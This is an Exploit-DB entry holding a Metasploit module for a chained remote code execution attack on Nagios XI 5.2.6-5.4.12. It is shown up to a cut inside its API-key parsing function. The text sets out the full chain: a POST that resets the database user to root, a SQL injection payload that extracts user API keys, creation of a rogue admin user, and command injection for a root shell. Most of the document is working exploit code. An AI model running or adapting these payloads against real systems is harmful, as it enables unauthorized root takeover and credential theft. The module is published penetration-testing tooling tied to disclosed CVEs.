Exploit-DB #44969
Description: Nagios XI 5.2.6-5.4.12 - Chained Remote Code Execution (Metasploit)
Type: remote
Platform: linux
Date: 2018-07-02
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nagios XI Chained Remote Code Execution',
      'Description'    => %q{
        This module exploits a few different vulnerabilities in Nagios XI 5.2.6-5.4.12 to gain remote root access.
        The steps are:
          1. Issue a POST request to /nagiosql/admin/settings.php which sets the database user to root.
          2. SQLi on /nagiosql/admin/helpedit.php allows us to enumerate API keys.
          3. The API keys are then used to add an administrative user.
          4. An authenticated session is established with the newly added user
          5. Command Injection on /nagiosxi/backend/index.php allows us to execute the payload with nopasswd sudo,
          giving us a root shell.
          6. Remove the added admin user and reset the database user.
      },
      'Author'         =>
        [
          'Cale Smith',   # @0xC413
          'Benny Husted', # @BennyHusted
          'Jared Arave'   # @iotennui
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch'           => [ARCH_X86],
      'CmdStagerFlavor' => ['printf'],
      'Targets'        =>
        [
          [
            'Nagios XI 5.2.6 <= 5.4.12',
            upper_version: Gem::Version.new('5.4.12'),
            lower_version: Gem::Version.new('5.2.6')
          ]
        ],
      'References'     =>
        [
          ['EDB', '44560'],
          ['CVE', '2018-8733'],
          ['CVE', '2018-8734'],
          ['CVE', '2018-8735'],
          ['CVE', '2018-8736'],
          ['URL', 'http://blog.redactedsec.net/exploits/2018/04/26/nagios.html']
        ],
      'Privileged'     => true,
      'DefaultOptions' => {
         'WSFDELAY' => 30
      },
      'DisclosureDate'  => 'Apr 17, 2018',
      'DefaultTarget'   => 0))
    register_options(
      [
        #WSFDelay option is being ignored, getting around this with a call to Rex.sleep
        #Sometimes Nagios doesn't execute commands immediately, so play with this parameter.
        Opt::RPORT(80),
        OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 15 ])
      ])
    deregister_options('SRVHOST', 'SRVPORT')
  end

  def check
    vprint_status "STEP 0: Get Nagios XI version string."
    res = send_request_cgi!({
      'method' => 'GET',
      'uri'    => '/nagiosxi/'
    })

    if !res || !res.get_html_document
      fail_with(Failure::Unknown, 'Could not check nagios version')
    end

    if (@version = res.get_html_document.at('//input[@name = "version"]/@value').text)
      @version = Gem::Version.new(@version)
      vprint_good("STEP 0: Found Nagios XI version: #{@version.to_s}")
      if @version < target[:lower_version]
        vprint_bad('Try nagios_xi_chained for this version.')
      elsif (@version <= target[:upper_version] && @version >= target[:lower_version])
        return CheckCode::Appears
      end
    end
    CheckCode::Safe
  end

  def set_db_user(usr, passwd)
    step = usr == 'root' ? '1' : '6.1'
    vprint_status "STEP #{step}: Setting Nagios XI DB user to #{usr}."
    res = send_request_cgi({
      'uri' => '/nagiosql/admin/settings.php',
      'method' => 'POST',
      'ctype'  => 'application/x-www-form-urlencoded',
      'encode_params' => true,
      'vars_post'   => {
        'txtRootPath'=>'nagiosql',
        'txtBasePath'=>'/var/www/html/nagiosql/',
        'selProtocol'=>'http',
        'txtTempdir'=>'/tmp',
        'selLanguage'=>'en_GB',
        'txtEncoding'=>'utf-8',
        'txtDBserver'=>'localhost',
        'txtDBport'=>3306,
        'txtDBname'=>'nagiosql',
        'txtDBuser'=> usr,
        'txtDBpass'=> passwd,
        'txtLogoff'=>3600,
        'txtLines'=>15,
        'selSeldisable'=>1
      }
    })

    if !res || res.code != 302
      fail_with(Failure::UnexpectedReply,"STEP #{step}: Unexpected response setting db user to root")
    end
    vprint_status "STEP #{step}: Received a 302 Response. That's good!"
  end

  def get_api_keys
    vprint_status 'STEP 2: Exploiting SQLi to extract user API keys.'

    sqli_parm = @version < Gem::Version.new('5.3.0') ? 'backend_ticket' : 'api_key'
    sqli_val = rand_text_alpha(rand(5) + 5)
    res = send_request_cgi({
      'uri' => '/nagiosql/admin/helpedit.php',
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => true,
      'vars_post' => {
        'selInfoKey1'=>"#{sqli_val}'UNION SELECT CONCAT('START_API:',#{sqli_parm},':END_API') FROM nagiosxi.xi_users-- ",
        'hidKey1'=>'common',
        'selInfoKey2'=>'free_variables_name',
        'hidKey2'=>'',
        'selInfoVersion'=>'',
        'hidVersion'=>'',
        'taContent'=>'',
        'modus'=>0
      }
    })

    if !res || res.code != 302 || !res.body
      fail_with(Failure::UnexpectedReply,'STEP 2: Unexpected response extracting api keys')
    end

    vprint_status 'STEP 2: Received a 302 Response. That\'s good!'
    parse_api_key(res.body)
  end

  def parse_api_key(res_body)
    begin_positions = res_body.enum_for(:scan, /START_API:/).map { Regexp.last_match.end(0) }
    end_positions = res_body.enum_for(:scan, /:END_API/).map { Regexp.last_match.begin(0) - 1 }
    api_keys = []

    begin_positions.each_with_index do|val, i|
      key = res_body[val..end_positions[i]]
      unless api_keys.include?(key)
        api_keys << key
      end
    end

    if api_keys.length < 1
      fail_with(Failure::Unknown, 'Could not parse api keys')